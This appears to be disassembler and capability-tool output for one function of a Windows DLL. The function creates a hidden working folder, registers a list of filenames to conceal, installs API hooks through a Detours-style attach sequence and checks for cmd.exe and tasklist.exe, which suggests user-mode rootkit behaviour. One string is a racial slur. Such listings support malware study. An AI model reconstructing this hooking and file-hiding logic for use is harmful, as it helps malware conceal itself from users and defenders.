Function at 0x10008030
Capabilities:
Accept command line arguments
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10056a80
mov eax, dword fs:[0]
push eax
sub esp, 0x328
mov eax, dword [0x1006d04c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.10002f20
mov edi, eax
lea eax, [ebp - 0x31c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x104
push str.C:_P001D7HF9920020001TestDll32A.dll
push 0x1006dac8
call fcn.10036fa0
push 0x104
push str.C:_P001D7HF9920020001_SI1992jJD00033333.data
push 0x1006fcb0
mov byte [0x1006dbcc], 0
mov dword [0x1006dbd0], 0
call fcn.10036fa0
push 0x104
push str.C:_P001D7HF9920020001
push 0x1006fba8
mov byte [0x1006fdb4], 0
call fcn.10036fa0
add esp, 0x24
mov byte [0x1006fcac], 0
xorps xmm0, xmm0
mov dword [ebp - 0x324], 0
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x320], 0
movups xmmword [ebp - 0x334], xmm0
push 0xd
push str..TestDLL.dll
call fcn.1000e630
push 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x218]
cmp dword [ebp - 0x320], 0x10
lea eax, [ebp - 0x334]
push ecx
cmovae eax, dword [ebp - 0x334]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea edx, [ebp - 0x218]
mov ecx, 0x1006ee48
call fcn.1000dae0
push eax
call fcn.1000d930
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x320]
cmp ecx, 0x10
jb 0x100081aa
mov edx, dword [ebp - 0x334]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100081a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10008470
push ecx
push edx
call fcn.1002e100
add esp, 8
mov edx, str.PATH:
mov dword [ebp - 0x324], 0
mov ecx, 0x1006ed98
mov dword [ebp - 0x320], 0xf
mov byte [ebp - 0x334], 0
call fcn.1000d350
lea edx, [ebp - 0x218]
mov ecx, eax
call fcn.1000d350
push eax
call fcn.1000d5f0
add esp, 4
mov dword [0x1006fba4], 0
mov dword [0x1006fba0], 0
mov dword [0x1006fb9c], 0
mov dword [0x1006fb98], 0
push 0
push str.C:_P001D7HF9920020001
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10008248
call esi
cmp eax, 0xb7
je 0x10008248
cmp dword [0x1006fb9c], 0
je 0x100082de
call esi
mov edx, str.Create_Directory_Failed..._Error:
jmp 0x100082bd
call fcn.10011350
test eax, eax
je 0x100082ad
mov ecx, str.explorer2.exe
call fcn.10011570
mov ecx, str.explorer.exe
call fcn.10011570
mov ecx, str.TestDll.dll
call fcn.10011570
mov ecx, str.Nigga.exe
call fcn.10011570
mov ecx, str._P001D7HF9920020001
call fcn.10011570
mov ecx, str.testing.txt
call fcn.10011570
mov ecx, str._IASI1992jJDO_033333.data
call fcn.10011570
mov ecx, str._I_SI1992jJDO_033333__
call fcn.10011570
mov ecx, str.__7HF___9920KAA020001
call fcn.10011570
jmp 0x100082de
cmp dword [0x1006fb9c], 0
je 0x100082de
call esi
mov edx, str.Create_Data_file_failed__error:
push eax
mov ecx, 0x1006ed98
call fcn.1000d350
mov ecx, eax
call fcn.10008f10
push eax
call fcn.1000d5f0
push eax
call fcn.1000d5f0
add esp, 8
cmp dword [0x1006fdb8], 0
je 0x1000837c
call fcn.10017cb0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10018190
push 0x10003480
push 0x1006fdcc
call fcn.10017550
push 0x10006e40
push 0x1006fdb8
call fcn.10017550
push 0x10005ae0
push 0x1006fdbc
call fcn.10017550
push 0x10004780
push 0x1006fdc0
call fcn.10017550
push 0x100037e0
push 0x1006fdd4
call fcn.10017550
push 0x10003a80
push 0x1006fdc4
call fcn.10017550
call fcn.10017d10
cmp dword [0x1006fba4], 0
je 0x1000837c
mov edx, str.Successfully_attached_
mov ecx, 0x1006ed98
call fcn.1000d350
push eax
call fcn.1000d5f0
add esp, 4
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10008455
add eax, dword [eax + 0x3c]
jne 0x1000839d
mov eax, 0x18
jmp 0x100083a2
add eax, 0x18
jne 0x100083a2
cmp word [eax + 0x44], 3
jne 0x10008455
lea eax, [ebp - 0x114]
push str.C:WINDOWS_system32cmd.exe
push eax
call fcn.1002f630
add esp, 8
test eax, eax
jne 0x10008455
cmp edi, str.cmd.exe
je 0x10008455
push edi
push str.tasklist.exe
call fcn.10037258
add esp, 8
test eax, eax
jne 0x10008455
mov edx, 0x10065cf4
mov ecx, 0x1006ed98
call fcn.1000d350
push eax
call fcn.1000d5f0
mov edx, str.Program:
mov ecx, 0x1006ed98
call fcn.1000d350
lea edx, [ebp - 0x114]
mov ecx, eax
call fcn.1000d350
push eax
call fcn.1000d5f0
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add esp, 8
call edi
mov edx, str.Commands:
mov ecx, 0x1006ee48
mov esi, eax
call fcn.1000dae0
mov edx, esi
mov ecx, eax
call fcn.1000dae0
push eax
call fcn.1000d930
add esp, 4
call edi
mov ecx, eax
call fcn.10007540
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002e0f2
mov esp, ebp
pop ebp
ret
call fcn.10036f1b
int3